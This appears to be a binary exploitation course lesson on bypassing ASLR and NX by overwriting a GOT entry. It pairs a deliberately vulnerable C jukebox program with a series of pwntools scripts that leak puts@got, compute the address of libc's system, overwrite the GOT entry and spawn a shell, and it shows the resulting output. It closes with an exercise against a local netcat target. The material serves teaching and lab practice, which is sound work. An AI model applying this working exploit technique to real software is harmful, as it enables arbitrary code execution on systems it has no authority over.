Skip to content

Latest commit

 

History

History
395 lines (299 loc) · 10.7 KB

File metadata and controls

395 lines (299 loc) · 10.7 KB

Bypassing ASLR/NX with GOT Overwrite

In this section, we will take a closer look at the Global Offset Table. In the previous section, we learnt how to use jumping to the PLT stubs as a technique to reuse functions in libc. When jumping to PLT, the GOT entry for that corresponding function acted as a malleable space where the dynamic address would be held. We shall exploit that malleability.

Now, let's depart from the standard paradigm of stack overflows for the moment. We shall begin looking at vulnerable programs that allow for write-what-where primitives, albeit in a limited fashion.

Our first simple example is the following:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>

struct record {
    char name[24];
    char * album;
};

int main() {
    // Print Title
    puts("This is a Jukebox");

    // Create the struct record
    struct record now_playing;
    strcpy(now_playing.name, "Simple Minds");
    now_playing.album = (char *) malloc(sizeof(char) * 24);
    strcpy(now_playing.album, "Breakfast");
    printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);

    // Read some user data
    read(0, now_playing.name, 28);
    printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);

    // Overwrite the album
    read(0, now_playing.album, 4);
    printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);

    // Print the name again
    puts(now_playing.name);
}

The program is vulnerable in two ways:

  1. It provides an information leak opportunity when the now_playing.album pointer is overwritten and the album name is printed.
  2. It provides a write what where primitive when the now_playing.album pointer is overwritten and input is provided to the second prompt.

Running the binary:

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ ./1_records
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Hello
Now Playing: Hello
 Minds (Breakfast)
Stuff
Now Playing: Hello
 Minds (Stufkfast)
Hello
 Minds

It's a little screwy but nothing that fancy yet. Let's begin by trying to achieve the first vulnerable condition (arbitrary read). First, we can take an easy to spot target to leak. We can use the "This is a Jukebox" string. First, we need to figure out its address.

gdb-peda$ find "This is a Jukebox"
Searching for 'This is a Jukebox' in: None ranges
Found 2 results, display max 2 items:
1_records : 0x8048610 ("This is a Jukebox")
1_records : 0x8049610 ("This is a Jukebox")

Now, here's a skeleton exploit that will demonstrate the leaking of that string.

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_records")

    # Craft first stage (arbitrary read)
    leak_address = 0x8048610    # Address of "This is a Jukebox"
    stage_1 = "A"*24 + p32(leak_address)

    # Send the first stage
    p.send(stage_1)

    p.interactive()

if __name__ == "__main__":
    main()

Testing it out:

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 1_arbitrary_read.py
[+] Starting local process '../build/1_records': Done
This is a Jukebox
Now Playing: Simple Minds (Breakfast)
Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x10\x86\x0�so�.�\xff (This is a Jukebox)
$

See the "(This is a Jukebox)"? That means it worked. Now, what we are most interested in are mostly pointers. So let's make a small addition that would parse the leak and transform it into a nice number for us.

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_records")

    # Craft first stage (arbitrary read)
    leak_address = 0x8048610    # Address of "This is a Jukebox"
    stage_1 = "A"*24 + p32(leak_address)
    p.recvrepeat(0.2)

    # Send the first stage
    p.send(stage_1)

    # Parse the response
    data = p.recvrepeat(0.2)
    leak = data[data.find("(")+1:data.rfind(")")]
    log.info("Got leaked data: %s" % leak)

    p.interactive()

if __name__ == "__main__":
    main()

Running it:

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 2_arbitrary_read_controlled.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: This is a Jukebox
[*] Switching to interactive mode
$

Awesome, now we can begin thinking about our exploit.

GOT Overwrite Strategy

At the moment, we do not have a target to leak and to overwrite. We must be careful to pick a suitable one because the information leak and arbitrary write has to be performed on the same address. Additionally, the write has to result in EIP control at some point of the program's execution since we do not have that yet.

If we take a look at the source code again, the following function is called last:

    puts(now_playing.name);

Interestingly, this is perfect for our uses. If we leak the address of puts in libc, we can calculate the address of the libc base and subsequently, the address of the system function. Also, once we have that, we can write the address of the system function into the puts@got entry so that when this final line executes, it will actually execute:

    system(now_playing.name);

Which means that system will be called with a parameter that we control! How convenient!

Writing the Exploit

First, let's see if we can leak the address of puts@got. First, we need the address.

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/build$ readelf -r ./1_records  | grep puts
0804a018  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0

Now, we can modify our earlier iterations of the exploit.

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_records")

    # Craft first stage (arbitrary read)
    leak_address = 0x0804a018    # Address of puts@got
    stage_1 = "A"*24 + p32(leak_address)
    p.recvrepeat(0.2)

    # Send the first stage
    p.send(stage_1)

    # Parse the response
    data = p.recvrepeat(0.2)
    leak = data[data.find("(")+1:data.rfind(")")]
    log.info("Got leaked data: %s" % leak)
    puts_addr = u32(leak[:4])
    log.info("puts@libc: 0x%x" % puts_addr)

    p.interactive()

if __name__ == "__main__":
    main()

Running the script gives us a sanity check that we are reading the right thing.

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 3_leak_puts_got.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: �
                      f�@�a�
[*] puts@libc: 0xf7660ca0
[*] Switching to interactive mode
$

Now, let's try and get EIP control. This should be as simple as sending four bytes.

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_records")

    # Craft first stage (arbitrary read)
    leak_address = 0x0804a018    # Address of puts@got
    stage_1 = "A"*24 + p32(leak_address)
    p.recvrepeat(0.2)

    # Send the first stage
    p.send(stage_1)

    # Parse the response
    data = p.recvrepeat(0.2)
    leak = data[data.find("(")+1:data.rfind(")")]
    log.info("Got leaked data: %s" % leak)
    puts_addr = u32(leak[:4])
    log.info("puts@libc: 0x%x" % puts_addr)

    # Overwrite puts@got
    ret_address =0xdeadc0de
    p.send(p32(ret_address))

    p.interactive()

if __name__ == "__main__":
    main()

It works, the program crashed at 0xdeadc0de.

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 4_eip_control.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: �,c�@�^�
[*] puts@libc: 0xf7632ca0
[*] Switching to interactive mode
Now Playing: AAAAAAAAAAAAAAAAAAAAAAAA\x18\xa0\x0�Sx�@Ż\xff (��\xad�@\xb5^�)
$  [*] Got EOF while reading in interactive

[*] Process '../build/1_records' stopped with exit code -11
[*] Got EOF while sending in interactive
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ dmesg | tail -n 1
[19310.052976] 1_records[3815]: segfault at deadc0de ip 00000000deadc0de sp 00000000ffbbc4ec error 14 in libc-2.23.so[f75d3000+1af000]

Let's gather our offsets and we can write our final exploit script.

ubuntu@ubuntu-xenial:~/libc-database$ objdump -d /lib/i386-linux-gnu/libc-2.23.so | grep "<_IO_puts@@GLIBC_2.0>:"
0005fca0 <_IO_puts@@GLIBC_2.0>:
ubuntu@ubuntu-xenial:~/libc-database$ ./dump local-03ffe08ba6d5e7f5b1d647f6a14e6837938e3bed | grep system
offset_system = 0x0003ada0

Final exploit script:

#!/usr/bin/python

from pwn import *

def main():
    p = process("../build/1_records")

    # Craft first stage (arbitrary read)
    leak_address = 0x0804a018    # Address of puts@got
    command = "/bin/sh"
    stage_1 = command.ljust(24, "\x00") + p32(leak_address)
    p.recvrepeat(0.2)

    # Send the first stage
    p.send(stage_1)

    # Parse the response
    data = p.recvrepeat(0.2)
    leak = data[data.find("(")+1:data.rfind(")")]
    log.info("Got leaked data: %s" % leak)
    puts_addr = u32(leak[:4])
    log.info("puts@libc: 0x%x" % puts_addr)

    # Calculate libc base and system
    puts_offset = 0x5fca0
    libc_base = puts_addr - puts_offset
    log.info("libc base: 0x%x" % libc_base)
    system_offset = 0x0003ada0
    system_addr = libc_base + system_offset
    log.info("system@libc: 0x%x" % system_addr)

    # Overwrite puts@got
    ret_address = system_addr
    p.send(p32(ret_address))

    p.interactive()

if __name__ == "__main__":
    main()

Getting our shell:

ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$ python 5_final.py
[+] Starting local process '../build/1_records': Done
[*] Got leaked data: ��Z�@uV�
[*] puts@libc: 0xf75aeca0
[*] libc base: 0xf754f000
[*] system@libc: 0xf7589da0
[*] Switching to interactive mode
Now Playing: /bin/sh (\xa0\x9dX�@uV�)
$                                  ls -la
total 2232
drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 18:01 .
drwxrwxr-x 1 ubuntu ubuntu    4096 Jan 13 18:02 ..
-rw-rw-r-- 1 ubuntu ubuntu     345 Jan 13 16:49 1_arbitrary_read.py
-rw-rw-r-- 1 ubuntu ubuntu     515 Jan 13 16:50 2_arbitrary_read_controlled.py
-rw-rw-r-- 1 ubuntu ubuntu     579 Jan 13 16:52 3_leak_puts_got.py
-rw-rw-r-- 1 ubuntu ubuntu     662 Jan 13 16:54 4_eip_control.py
-rw-rw-r-- 1 ubuntu ubuntu     978 Jan 13 17:00 5_final.py
$
[*] Stopped program '../build/1_records'
ubuntu@ubuntu-xenial:/vagrant/lessons/10_bypass_got/scripts$

Exercises

Ex 10.1: Event 1

After the mistakes of the previous Event, Kaizen has decided to secure his system. Can you find a way to exploit the new binary?

It was compiled with a stack canary.

gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c

The binary can be found here and the source can be found here. The remote target is nc localhost 1902.

The solution script may be found here.